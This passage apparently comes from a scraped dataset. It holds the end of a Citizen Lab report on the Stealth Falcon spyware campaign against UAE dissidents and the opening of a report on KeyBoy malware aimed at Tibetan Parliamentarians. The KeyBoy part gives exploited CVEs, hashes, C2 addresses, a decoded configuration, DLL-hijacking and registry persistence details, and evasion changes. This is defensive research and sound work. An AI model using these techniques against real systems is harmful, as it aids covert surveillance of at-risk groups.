sophisticated social engineering, combined with moderately sophisticated97 technical attempts to deanonymize and monitor political targets working on the UAE, and relatively simple malcode.98 Social Engineering and the Achilles Heel of Civil Society Stealth Falcon\xe2\x80\x99s technical approach may not be cutting edge, but the operators are neither unsophisticated or ineffective. Analyzed holistically as an operation, Stealth Falcon is a logical and multi-pronged approach to compromising and unmasking a class of targets. Stealth Falcon\xe2\x80\x99s campaign highlights the power of social engineering, once a technical bar has been met, in conducting a large scale campaign. Contemporary social movements and civil society groups rely heavily on the internet for both their core operations, as well as advocacy activities. Yet these groups are often operating outside a centrally managed IT environment. The constant sharing of links and materials, as well as regular communications with journalists makes them especially vulnerable to targeting with social engineering. However, the emphasis on social engineering can also cut in the other direction. Many modern attack techniques require an attacker to interact with a target. When operators like Stealth Falcon send malicious e-mails and tweets, there are a range of opportunities for retrospective investigation. As this report shows, the inboxes of targets, for example, are often a more efficient object of investigation than computers themselves, especially once features of a particular campaign are recognized. The Growing Trend of Impersonating Journalists Stealth Falcon is only the latest example of civil society-focused threat actors impersonating NGOs and journalists to conduct espionage operations. The tactic has been used by a wide range of actors, including Bahrain\xe2\x80\x99s government,99 Packrat in Latin America,100 Iranian groups,101 and China related groups,102 among others. Threat actors seem to gravitate towards this tactic because interacting with journalists is an essential part of civil society activity. It is common for journalists to send unsolicited messages to activists and civil society organizations asking for information, and there is typically a strong incentive for the organization to engage. Indeed, even Western law enforcement agencies have occasionally adopted the approach.103 The reporter-source relationship is protected in many jurisdictions, based on the understanding that protecting this trust is important to a healthy and vibrant civil society. Tactics that play on this trust are risky, and can quickly contribute to eroding the trust on which civil society is based. Final Note: A Plea for More Research Importantly, while we were unable to identify evidence of a conclusive link between Stealth Falcon and a particular sponsor, we have assembled a body of circumstantial evidence that points to an alignment of interests between Stealth Falcon and the UAE Security Forces. We hope that other researchers will draw from our findings and work to identify additional cases. Finally, we urge anyone who recalls receiving a link to \xe2\x80\x9caax.me,\xe2\x80\x9d or an email from \xe2\x80\x9cAndrew Dwight\xe2\x80\x9d to contact the authors of this report for further investigation. Acknowledgements Special thanks to PassiveTotal and Rori Donaghy. Thanks to Jeffrey Knockel, Sarah McKune, Chris Doman, Mansoureh Mills. Footnotes 1http://www.youthdiplomaticservice.com/zzold-business-blog/category/business 2 See for example: http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution-1712843977; http://www.middleeasteye.net/news/uae-paid-pr-firm-millions-brief-uk-journalists-qatar-muslim-brotherhood-attacks-1058875159; http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution-1712843977; http://www.middleeasteye.net/news/exclusive-emirati-plan-ruling-egypt-2084590756 3http://www.middleeasteye.net/users/rori-donaghy 4http://www.middleeasteye.net/about-middle-east-eye-1798743352 5http://www.echr.org.uk/ 6http://www.echr.org.uk/?page_id=25 7https://freedomhouse.org/report/freedom-world/2015/united-arab-emirates 8https://www.hrw.org/world-report/2016/country-chapters/united-arab-emirates 9https://www.amnesty.org/en/countries/middle-east-and-north-africa/united-arab-emirates/ 10https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-marczak.pdf 11https://citizenlab.ca/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ 12https://wikileaks.org/hackingteam/emails/emailid/585453 13http://www.uae-embassy.org/news-media/sheikh-mohamed-bin-zayed-al-nahyan-meets-congressional-leaders-and-senior-us-government 14https://ht.transparencytoolkit.org/rcs-dev%5Cshare/HOME/cristian/9.4%20lic/UAEAF/LICENSE-1262004202-v9.4.lic 15https://owncloud.org/ 16https://www.proofpoint.com/us/office365 17http://righttofightexhibit.org/home/ 18http://www.powershellempire.com/ 19http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights-151103070038231.html 20 Based on last-modified header 21http://www.andlabs.org/tools/jsrecon.html 22https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 23https://yourls.org/ 24https://github.com/YOURLS/YOURLS 25 A Firefox extension to be used in conjunction with Tor, before the introduction of Tor Browser 26 Importantly, making Tor users appear similar to non-Tor users was a not a goal 27https://trac.torproject.org/projects/tor/ticket/5922 28https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-gregory_fleischer-attacking_tor.pdf 29https://blog.torproject.org/blog/new-tor-browser-bundles-windows 30https://blog.torproject.org/blog/tor-browser-36-released 31https://msdn.microsoft.com/en-us/library/2yfce773(v=vs.94).aspx#s-e6f6a65cf14f462597b64ac058dbe1d0-system-media-system-caps-note 32https://en.wikipedia.org/wiki/Cross-origin_resource_sharing 33https://esupport.trendmicro.com/en-us/home/pages/technical-support/1057722.aspx 34http://support.kaspersky.com/us/11255 35http://ssj100.fullsubject.com/t446-avira-antivir-premium-allows-all-outbound 36http://www.wilderssecurity.com/threads/port-80-is-redirected-to-30606-and-no-webpage-is-opened.212599/ 37https://community.mcafee.com/thread/21790?tstart=0 38 The tool is available at: http://www.andlabs.org/tools/jsrecon.html. The JavaScript source code may be viewed by viewing the source of jsrecon.html 39https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 40http://www.andlabs.org/tools/jsrecon/jsrecon.html 41https://code.google.com/p/google-security-research/issues/detail?id=679 42http://www.huffingtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 43http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 44https://www.indexoncensorship.org/2015/03/united-arab-emirates-stop-the-charade-and-release-activists-convicted-at-the-mass-uae-94-trial/ 45http://blogs.voanews.com/repressed/2014/01/14/update-shez-cassim-back-home-after-months-in-uae-jail/ 46http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 47http://newday.blogs.cnn.com/2013/12/11/u-s-man-in-jail-in-dubai-over-parody-video/ 48https://www.youtube.com/watch?v=IUk5CB9kaBY 49http://www.nydailynews.com/news/national/shezanne-cassim-sentenced-year-united-arab-emirates-parody-video-article-1.1556327 50https://www.article19.org/resources.php/resource/37279/en/united-arab-emirates:-stop-the-charade-and-release-activists-convicted-at-the-mass-uae-94-trial 51https://www.amnesty.org/en/documents/mde25/015/2014/en/ 52http://www.gc4hr.org/report/view/33 53http://www.buid.ac.ae/vc 54http://www.wam.ae/ar/news/emirates/1395239973989.html 55http://emarati.katib.org/2011/03/09/%D8%A5%D9%85%D8%A7%D8%B1%D8%A7%D8%AA%D9%8A%D9%88%D9%86-%D9%8A%D8%B1%D9%81%D8%B9%D9%88%D9%86-%D8%B1%D8%B3%D8%A7%D9%84%D8%A9-%D9%84%D8%AD%D9%83%D8%A7%D9%85-%D8%A7%D9%84%D8%A5%D9%85%D8%A7%D8%B1%D8%A7/ 56http://www.cnn.com/2011/WORLD/meast/03/09/uae.petition/ 57http://www.bbc.com/news/world-middle-east-13043270 58http://www.alittihad.ae/details.php?id=8416&y=2005 59http://www.thenational.ae/uae/courts/defendant-denies-insulting-leaders-of-uae-on-social-media 60http://dohanews.co/uae-court-convicts-qataris-for-insulting-royals-on-social-media/ 61http://www.thenational.ae/uae/foreign-agent-ordered-to-spread-false-information-about-uae 62https://www.instagram.com/9ip/ 63https://twitter.com/Bu_saeed2/status/158267593269063680 64http://www.gc4hr.org/news/view/198 65http://www.echr.org.uk/?page_id=207 66https://twitter.com/islam_way_2030/status/232392466760863744 67https://twitter.com/a7rarelemarat/status/259883131807621120 68http://www.bbc.com/news/world-middle-east-20768205 69https://twitter.com/islam_way_2030/status/232393358243401728 70http://www.echr.org.uk/?p=1104 71https://twitter.com/Dwight389/status/327033672979079168 72http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 73http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 74https://twitter.com/Dwight389/status/398413653315031041 75http://www.thenational.ae/uae/courts/20150518/five-qataris-found-guilty-of-insulting-uae-royals 76https://twitter.com/MiriamKhaled/status/156625204280434688 77https://twitter.com/Bu_saeed2/status/156781983983349760 78https://twitter.com/kh_oz/status/351828658371039233 79https://twitter.com/Dwight389/status/332452681325088768 80https://twitter.com/r7aluae2/status/156418043424157696 81http://www.huffingtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 82https://twitter.com/Bu_saeed2/status/156406670866653184 83https://github.com/YOURLS/YOURLS/wiki/Spam 84http://www.bbc.com/news/world-middle-east-20768205 85https://www.passivetotal.org/ 86sonar-ssl 87https://wordsecure.com/ 88https://github.com/quasar/QuasarRAT/blob/master/Client/Core/Recovery/Browsers/InternetExplorer.cs 89 See https://web.archive.org/web/20131207060523/https://velocityfiles.com/login.php and https://web.archive.org/web/20131207054158/https://velocityfiles.com/register.php 90http://templates.entheosweb.com/template_number/live_demo.asp?TemplateID=54257 91 http://aax.me/1a732 92https://en.wikipedia.org/wiki/Emirates_Discussion_Forum 93http://www.echr.org.uk/?p=1104 94https://twitter.com/Ahmed_Mansoor/status/256142870896054273 and https://twitter.com/Ahmed_Mansoor/status/256144504116109312 95https://metrics.torproject.org/ 96http://www.bbc.com/news/world-middle-east-20768205 97 e.g., local portscanning from webpages with JS-Recon, determining web browser versions by testing JavaScript functionality, Tor Browser profiling bug, macro infection. 98 e.g., Powershell remote shell. 99https://citizenlab.ca/2012/07/from-bahrain-with-love-finfishers-spy-kit-exposed/ 100https://citizenlab.ca/2015/12/packrat-report/ 101https://citizenlab.ca/2015/08/iran_two_factor_phishing/ 102https://targetedthreats.net/ 103http://www.latimes.com/nation/la-na-associated-press-lawsuit-20150827-story.html Media Mentions New York Times, Foreign Policy, International Business Times, Chicago Tribune, VICE Motherboard, Taipei Times, Forbes, Techworm, Sputnik News, Network World, BoingBoing. Tags: Human Rights, Malware, Surveillance, UAE Related: Bitter Sweet: Supporters of Mexico\xe2\x80\x99s Soda Tax Targeted With NSO Exploit LinksKeep Calm and (Don\xe2\x80\x99t) Enable Macros: Appendices Share: TwitterFacebook WhatsAppEmail RESEARCH Targeted Threats Free Expression Online Transparency and Accountability App Privacy and Controls Global Research Network Tools & Resources All Publications NEWS In the Media Events Opportunities Newsletter Archives ABOUT About the Citizen Lab People Media Resources Teaching Donate CONNECT Twitter Facebook Email Github NEWSLETTER Your email address Privacy Policy Unless otherwise noted this site and its contents are licensed under a Creative Commons Attribution 2.5 Canada license. Munk School of Global Affairs & Public Policy | University of Toronto","1","1","0","1","1","0","1","1","1","1","1","0","0","1","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"It\xe2\x80\x99s Parliamentary: KeyBoy and the targeting of the Tibetan Community - The Citizen Lab Open main menu Skip to main content Close main menu Research Targeted Threats Free Expression Online Transparency and Accountability Global Research Network App Privacy and Controls Tools & Resources Publications News In the Media Events Opportunities Citizen Lab Newsletter Archives About About the Citizen Lab Media Resources People Teaching Donate ResearchTargeted Threats It\xe2\x80\x99s Parliamentary KeyBoy and the targeting of the Tibetan Community By Adam Hulcoop, Matt Brooks, Etienne Maynier, John Scott-Railton, and Masashi Crete-Nishihata November 17, 2016 Key Findings In this report we track a malware operation targeting members of the Tibetan Parliament over August and October 2016. The operation uses known and patched exploits to deliver a custom backdoor known as KeyBoy. We analyze multiple versions of KeyBoy revealing a development cycle focused on avoiding basic antivirus detection. This operation is another example of a threat actor using \xe2\x80\x9cjust enough\xe2\x80\x9d technical sophistication to exploit a target. Introduction The Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information. They are often targeted simultaneously with other ethnic minorities and religious groups in China. Examples as early as 2008 document \xc2 malware operations against Tibetan non-governmental organizations (NGOs) that also targeted Falun Gong and Uyghur groups. More recently in 2016, Arbor Networks reported on connected malware operations continuing to target these same groups, which the Communist Party of China perceives as a threat to its power. These types of operations have multiple components, each with their own associated costs to the operator. There is the exploit code and malware used to gain access to systems, the infrastructure that provides command and control to the malware operator, and the human elements \xe2\x80\x93 developers who create the malware, operators who deploy it, and analysts who extract value from the stolen information. We anticipate that operators will attempt to balance the amount of information they expect to gather with the operational costs and risks of deploying different strategies and technologies. For example, in deploying a particular malware implant against a target the operator will balance the likelihood and cost of discovery with the perceived value of extracting information from that target. If a toolkit is exposed inadvertently, the target may increase defenses and the operator will have to spend more time and resources on development. Civil society groups, due to their generally limited technical capacity and lack of security expertise and countermeasures, shift the risk/reward ratio in ways favourable to the malware operator. For example, we have observed frequent reuse of older (patched) exploits in malware operations against the Tibetan community. Up-to-date operating systems and software would block these threats, but the operators have probably discovered through experience that the their targets have\xc2 unpatched systems and a general lack of security controls beyond antivirus programs. The continued use of old exploits is a cost reduction strategy: since they still work, there is little need to use more expensive exploits. Moreover, many of the malware defenses used by the Tibetan diaspora involve individuals recognizing signs of a malicious email, such as exhortations to open attachments. This kind of behavioral strategy pushes the operators to change their social engineering tactics, but does not provide pressure to radically change their toolkits. This situation is different from a technical-indicator based institutional security environment. In practice, minimal code changes sufficient to bypass signature-based security controls such as antivirus may be all that are necessary. This report analyzes an operation targeting members of the Tibetan Parliament. The actors used a new version of \xe2\x80\x9cKeyBoy,\xe2\x80\x9d a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data. We observed operations in August and October 2016, shortly after an order in June to demolish the Larung Gar Buddhist Academy and days before organized protests on October 19 around the same issue. These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy. We assess that KeyBoy is the product of a development cycle that is iterated only as much as necessary to ensure the survival of the implant against antivirus detection and basic security controls. This report is divided into two parts: Part 1: The Parliamentarian Operation Analyzes an operation targeting the members of the Tibetan Parliament by repurposing legitimate content, and\xc2 documents implanted with Keyboy. Part 2: KeyBoy \xe2\x80\x93 Tracking Evolution Examines the KeyBoy development cycle revealing a focus on avoiding basic antivirus detection. To assist other researchers, we include appendices and indicators of compromise that detail the KeyBoy samples we analyzed and provide an in-depth analysis of some features of the most recent implant. Part 1: The Parliamentarian Operation In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament (the highest legislative organ of the Tibetan government in exile, formally known as Central Tibetan Administration). We collected two emails sent to Parliamentarians that rapidly repurposed legitimate content in an attempt to entice recipients to open malicious documents. The first attempt leveraged an old vulnerability in the parsing of Rich-text-format (.rtf) files (CVE-2012-0158). The second attempt used a newer, but also patched, .rtf vulnerability (CVE-2015-1641). Both attempts used versions of KeyBoy and shared the same command and control infrastructure as well as other configuration details. Attempt 1 On August 25, 2016, members of the Tibetan Parliament received an email with information on an upcoming conference relevant to the Tibetan community. This email had the same subject and attachment as a legitimate message sent to the same recipients just 15 hours prior, but in this case the attachment was crafted to exploit a frequently targeted vulnerability in Microsoft Office. The accompanying malware was a backdoor implant designed to surveil the computers of the Parliamentarians. This malicious attachment used the original, legitimate filename as a decoy (see: Figure 1). Figure 1: Email lure containing malicious document. Note the use of letters \xe2\x80\x98r n\xe2\x80\x99 in an attempt to appear as \xe2\x80\x98m\xe2\x80\x99 in the sender address. This level of targeting and re-use of a legitimate document sent only hours before shows that the actors behind the operation are closely watching the Tibetan community, and may have already compromised the communications of one or more of the Parliamentarians. Document name: theme of the conference.doc MD5: 8307e444cad98b1b59568ad2eba5f201 Opening the attachment (an apparently blank document) in Microsoft Word would result in the infection of the target system with the KeyBoy implant. The Infection Chain The email attachment is a .rtf document containing a dropper, delivered using an exploit designed to leverage CVE-2012-0158, a vulnerability in the way that Microsoft Word handles .rtf files. Over the past four years, this vulnerability has been consistently used in malware campaigns against the Tibetan community despite having been patched since April 2012. If the exploit is successful, the following infection chain (see: Figure 2) is observed on the system. Figure 2: Process chain after exploit is successful The files in this infection chain are outlined below. The exploit launches an executable \xe2\x80\x98dropper\xe2\x80\x99 component which is responsible for placing the malware payload and its configuration file on disk, and finally for launching the main malware code. Note that the dropper and the final (DLL) payload were compiled within seconds of each other. Name: dw20.exe Size: 256512 bytes Compile Time: 09 May 2016 08:41:26 UTC MD5: 0b4d45db323f68b465ae052d3a872068 SHA256: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 Purpose: dropper binary, used to install and execute the main implant Name: wab32res.exe Size: 46080 bytes Compile Time: 13 April 2008 18:30:52 UTC MD5: 8f08609e4e0b3d26814b3073a42df415 SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d Purpose: legitimate Microsoft Windows Address Book executable, used to load final payload Name: wab32res.dll Size: 138240 bytes Compile Time: 09 May 2016 08:41:05 UTC MD5: 495adb1b9777002ecfe22aaf52fcee93 SHA256: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 Purpose: malware payload, launched by wab32res.exe via DLL search order hijacking Next, the dropper places a renamed copy of the legitimate Windows Address Book executable, along with the malware binary, wab32res.dll, in the Local Application Data directory. Notably, the dropper modifies the timestamps of the configuration file and the payload to match those of the \\Microsoft\\SystemCertificates\\My\\ directory within the user\xe2\x80\x99s Local Application Data directory. Once these files are written to disk, the dropper starts the Windows Address Book executable which loads and executes the malicious wab32res.dll file via DLL search-order hijacking. Attempt 2 On October 11, 2016, the Tibetan Parliamentarians received an email with content repurposed from a Tibetan activism campaign protesting the demolition of a Buddhist monastery in Tibet. The email was sent from the same email address as the previous attempt (tibetanparliarnent[@]yahoo.com) and appears to copy content from the Facebook page of a Tibetan NGO promoting the campaign. The message urges recipients to open an attached .rtf file with further details on the campaign (see: Figure 3). Figure 3: Email lure used in second attempt Document name: urgent action larung gar buddhist academy.rtf MD5: 913b82ff8f090670fc6387e3a7bea12d Opening the attachment (an apparently blank document) in Microsoft Word would, similar to the first attempt, result in the infection of the target system with the KeyBoy implant. The Infection Chain The .rtf document attached to the malicious email was designed to exploit a more recent vulnerability: CVE-2015-1641. If successful, this exploit launches a newer version of the same malware used in the August attempt outlined above, using a similar infection chain. Name: n/a Size: 262144 bytes Compile Time: 29 September 2016 00:46:11 UTC MD5: 23d284245e53ae4fe05c517d807ffccf SHA256: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf Purpose:dropper binary, used to install and execute the main implant Name: wab32res.exe Size: 46080 bytes Compile Time: 13 April 2008 18:30:52 UTC MD5: 8f08609e4e0b3d26814b3073a42df415 SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d Purpose:legitimate Microsoft Windows Address Book executable, used to load final payload Name: wab32res.dll Size: 143872 bytes Compile Time: 29 September 2016 00:21:34 UTC MD5: 087bffa8a570079948310dc9731c5709 SHA256: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 Purpose:malware payload, launched by wab32res.exe via DLL search order hijacking As with the first attempt, the resulting dropper installs the malware payload into the Local Application Data directory as wab32res.dll and subsequently launches it using the same method of DLL search-order hijacking against the legitimate Windows Address Book executable. A Note on Vulnerabilities The two .rtf vulnerabilities targeted in these exploitation attempts, CVE-2012-0158 and CVE-2015-1641, are among a set of four .rtf vulnerabilities discussed in recent reporting from researchers at Arbor Networks. The researchers describe the presumed existence of an exploit document \xe2\x80\x98builder\xe2\x80\x99 designed to selectively weaponize .rtf files using four older, patched, vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770. The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups, but also others related to Hong Kong, Taiwan, and Uyghur interests. While we have not connected the campaign targeting the Tibetan Parliamentarians to the campaigns described by Arbor, the continual pairing of these older .rtf vulnerabilities with malware operations against the Tibetan community is noteworthy. The Malware The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor first discussed in 2013 by Rapid7. KeyBoy provides basic backdoor functionality, allowing the operators to select from various capabilities used to surveil and steal information from the victim machine. KeyBoy functionality: Gather system information, including details of the operating system, processor, disk, memory, display, and uptime (see: Figure 4) Upload files to the victim computer Download files from the victim computer Browse the file system, including gathering details about attached drives Execute commands and applications Launch interactive shell Figure 4: Format strings illustrating some of the system information obtained by KeyBoy from an infected machine These updated versions of KeyBoy make use of an encoded configuration file to store their command and control (C2) information along with other required settings. In both cases, the dropper wrote this configuration file in the user\xe2\x80\x99s Local Application Data directory as win32res.dat. After analyzing these malware samples, we were able to decode the following configuration parameters, presented in Table 1 Line Description First sample Second sample Line 1 Identity code, used to ensure config was correctly decoded 9876543210 9876543210 Line 2 C2 Server #1 (hostname/ip) 45.125.12[.]147 45.125.12[.]147 Line 3 C2 Server #2 (hostname/ip) 103.40.102[.]233 45.125.12[.]147 Line 4 C2 Server #3 (hostname/ip) 45.125.12[.]147 45.125.12[.]147 Line 5 Port used with C2 Server #1 443 443 Line 6 Port used with C2 Server #2 443 443 Line 7 Port used with C2 Server #3 443 443 Line 8 Password for operator login tibetwoman tibetwoman Line 9 Campaign ID, transmitted to C2 during login NNNN NNNN Table 1: Decoded configuration parameters from both KeyBoy samples observed in the Parliamentarian operation A full description of the new algorithm used by KeyBoy to decode its configuration file is presented in Appendix A. Once the KeyBoy DLL has been executed, it validates that a particular string value (likely identifying the KeyBoy version) is set in the Windows Registry. Key First sample Second sample HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zonemap\\Ver 20160509 agewkassif Additionally, these versions of KeyBoy ensure persistence by setting the wab32res.exe file to be loaded upon login via exploiting the Winlogon Shell key, which in turn loads the malicious wab32res.dll file by the aforementioned DLL search-order hijacking method. Key Value HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell explorer.exe, sers\\\\AppData\\Local\\wab32res.exe\xe2\x80\x9d The backdoor then sends a login beacon to the C2 server which, once decoded, looks like: *a* USER-PC 192.168.100.101 NNNN 2016/09/13 16:11:56 20160509 These values are described as follows in Table 2: Value from Example Description *a* Data header code for initial check-in beacon USER-PC %computername% of victim PC 192.168.100.101 IP address of victim PC NNNN Campaign ID from the KeyBoy configuration file 2016/09/13 16:11:56 Timestamp of local PC 20160509 Internal version identifier Table 2: Descriptions of the login beacon values This login data, as well as all other communication between backdoor and command and control server, is transmitted using an encoding mechanism based on principles from modular arithmetic. We describe this network communication encoding in detail in this supplementary document. As can be seen in the login event example above, when sending data to the C2, the KeyBoy implant uses a series of header \xe2\x80\x98codes\xe2\x80\x99 to specify the type of data which is being transmitted, described in Table 3: Header code Data being transmitted *l* Heartbeat / Keepalive *a* Initial check-in beacon *s* System information (drive info, system specifications, interface info) *d* Data from remote commands and shell *f* Data relating to interactions via File Manager *g* Ready to initiate file download *h* Ready to initiate file upload or update Table 3: KeyBoy header codes for sending data to the C2 server The Infrastructure The command and control (C2) servers used in the Tibetan Parliament operation were extracted from the KeyBoy configuration files: C2 Host: 45.125.12[.]147 Desc: Royal Network Technology Co City: Guangzhou Country: China No relevant data or passive DNS information was available \xc2 C2 Host: 103.40.102[.]233 Desc: Dragon Network Int\xe2\x80\x99l Co. Ltd City: Hong Kong Country: Hong Kong Domain: tibetvoices[.]com Host First Seen: Last Seen: 127.0.0.1 2016-09-29 Current as of publication 103.40.102[.]233 2016-07-15 2016-09-28 112.10.117[.]47 2016-05-25 2016-05-26 We uncovered very little information about the command and control (C2) infrastructure used in this operation. The configuration files referenced hard-coded IP addresses for the C2 servers, as opposed to using domain names as was seen in prior KeyBoy campaigns. Passive DNS analysis revealed one domain, tibetvoices[.]com, which was briefly pointed to one of the C2 server IP addresses found in the KeyBoy configuration file used in the first attempt against the Parliamentarians. This domain was created in May 2016 (around the time that the KeyBoy sample used in the first attempt was compiled) and was pointed to IP address 103.40.102[.]233 from July 15 to September 28. Subsequently, this domain was pointed to 127.0.0.1, effectively taking it offline. This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco. Cisco hypothesized that the actors behind KeyBoy may have been nullifying the DNS records when an active campaign was not underway, in an attempt to stay \xe2\x80\x9cbelow the radar\xe2\x80\x9d. This tactic allows the malware operator to ensure that no command and control traffic will be sent out from the infected system, thus preventing detection via network monitoring. This tactic, however plausible, would not apply to the KeyBoy samples we analyzed, as the C2 configuration relied upon hard coded IP addresses and did not directly reference the tibetvoices[.]com domain. It is possible that a different campaign was launched which used this domain, but we were unable to find any evidence of such a campaign. Our analysis provides a cursory look at some of the capabilities and implementation details of the KeyBoy backdoor as used during a malware operation targeting Tibetan Parliamentarians. These versions of KeyBoy differed from the one first described by Rapid7 in several ways, many of which will be described in the sections to follow. During our research into this operation we were able to uncover two additional samples of KeyBoy which were likely used in previous malware campaigns. These samples were contained in exploit documents containing distinct lure content, one having a Tibetan nexus, the other an Indian nexus. In Part 2 we present a brief overview of the observable evolution of KeyBoy based upon all of the samples we obtained. Part 2: KeyBoy \xe2\x80\x93 Tracking Evolution Periodic updates are common in the world of software development. Features are added and removed, bugs are patched, and code is written to execute more efficiently. The same holds true for malicious software, but with the additional requirement that the development cycle must always satisfy the operational need for covertness. To be effective, malicious software designed for surveillance must remain undetected. Malware developers are in a constant struggle to avoid the security controls that protect target systems. We believe the 2013, 2015, and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures. This section outlines how we came to this conclusion. In building our KeyBoy chronology, we collected several samples and examined three data points from each: The compile time of the KeyBoy binary A string observed in the KeyBoy binary we refer to as the \xe2\x80\x98version identifier\xe2\x80\x99 Elapsed time between compile time and the time of first exposure Analysis of these data points gave us a moderate to high level of confidence that the binary compile times provided a reliable estimate of the true development timeline. An Evolving Implant In an effort to understand its evolution, we compared the code of several versions of KeyBoy as identified by their \xe2\x80\x98version identifier\xe2\x80\x99 strings, shown in Table 4: Version Identifier Notes Proxy 20130401 Reported by Rapid7 in relation to an Indian nexus Proxy 20130401 Reported by Rapid7 in relation to a Vietnamese nexus P_20150313 Discovered via hunting; carried Indian lure content 20151108 Discovered via hunting; carried Tibetan lure content 20160509 First sample of the Parliamentarian operation from August 2016 20160509 An alternate sample, using different configuration data agewkassif Second sample of the Parliamentarian operation from October 2016 Table 4: Version identifier strings analyzed The \xe2\x80\x98version identifier\xe2\x80\x99 is a particular string that appeared in every KeyBoy sample we studied. It is transmitted to the command and control server as part of the login data packet, and, in recent versions, this identifier is written to the Windows registry in a key named \xe2\x80\x98Ver\xe2\x80\x99. With the exception of the newest (chronologically speaking) KeyBoy version we discovered, this identifier always contained a date-like component which matched the compile date of the KeyBoy binary in every case. In the newest sample, the developers replaced this date-like string with a seemingly random set of letters. A timeline depicting these KeyBoy versions, along with some important characteristics, is shown in Figure 5. Figure 5: The timeline of KeyBoy\xe2\x80\x99s evolution Noteworthy Modifications This section describes some of the most significant changes observed across the KeyBoy versions. Each of these components would have been an ideal target for signature-based identification, using either static string or network packet-based detection mechanisms. Header Code Evolution Of the changes we identified one stands out as being an immediate target for an effective antivirus signature \xe2\x80\x93 the evolution of header codes used during communication between the implant and command and control server. As shown in Table 5, these codes changed substantially after the 2013 KeyBoy samples were examined and publically documented by Rapid7. It is reasonable to hypothesize that this significant change in format was in response to the publication of Rapid7\xe2\x80\x99s research. 2013 Early 2015 Late 2015 2016 $login$ #l# *a* *l* $sysinfo$ #s# *s* *a* $shell$ #e# *d* *s* $fileManager$ #f# *f* *d* $fileDownload$ #D# *g* *f* $fileUpload$ #U# *h* *g* *h* Table 5: Header codes used by KeyBoy during C2 communication In addition, modifying these codes produced a downstream change in the appearance of the network communication traffic produced by an active KeyBoy infection. This change would likely have rendered existing network based signatures ineffective. Configuration File Changes Another major change we first observed in version P_20150313 is the complete redesign of the algorithm used to encode the KeyBoy configuration file. In the 2013 samples described by Rapid7, this configuration file was encoded using a simplified static-key based algorithm. This newer encoding algorithm is significantly more involved, removing the use of a static encryption key in favour of a dynamically constructed lookup table. We provide a detailed explanation of this new algorithm in Appendix A. Persistence Changes The method used by the implant for maintaining persistence was also changed several times. The earlier versions used a Windows service to ensure the malware stayed persistent, moving to a more commonly seen tactic of setting the Run key in the Windows registry in the early 2015 sample. This method changed again in late 2015 when the implant migrated from the Run key to using a less frequently observed registry key: Winlogon\\Shell. This key stores the list of executables which are to be run once a Windows GUI session is created, and typically holds only the standard user shell, explorer.exe. String Obfuscation In another modification, first observed in the most recent October 11 Parliamentarian operation (version agewkassif), the developer(s) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware. This introduction of string obfuscation also suggests a development change aimed at evading detection. The header codes, filename references, and all of the operator commands were obfuscated and only decoded during execution of the KeyBoy DLL. Figure 6 shows a sampling of these strings, after decoding. Figure 6: Header code and command strings after being decoded at run-time Evidence of Modularity Finally, there were numerous changes observed that could suggest that KeyBoy was being deployed using a modular or component based mechanism. The GetUp export which is linked to the browser credential theft capability seems to be present in some samples and not others, even for versions within the same development stage. As well, the inconsistent use of a dropper binary during infection is further evidence supporting the modular component theory. Additional Details Beyond the main modifications outlined above, numerous smaller changes were also observed, many of which are described in Table 6 below. Version Identifier Key Changes Proxy 20130401 Persistence 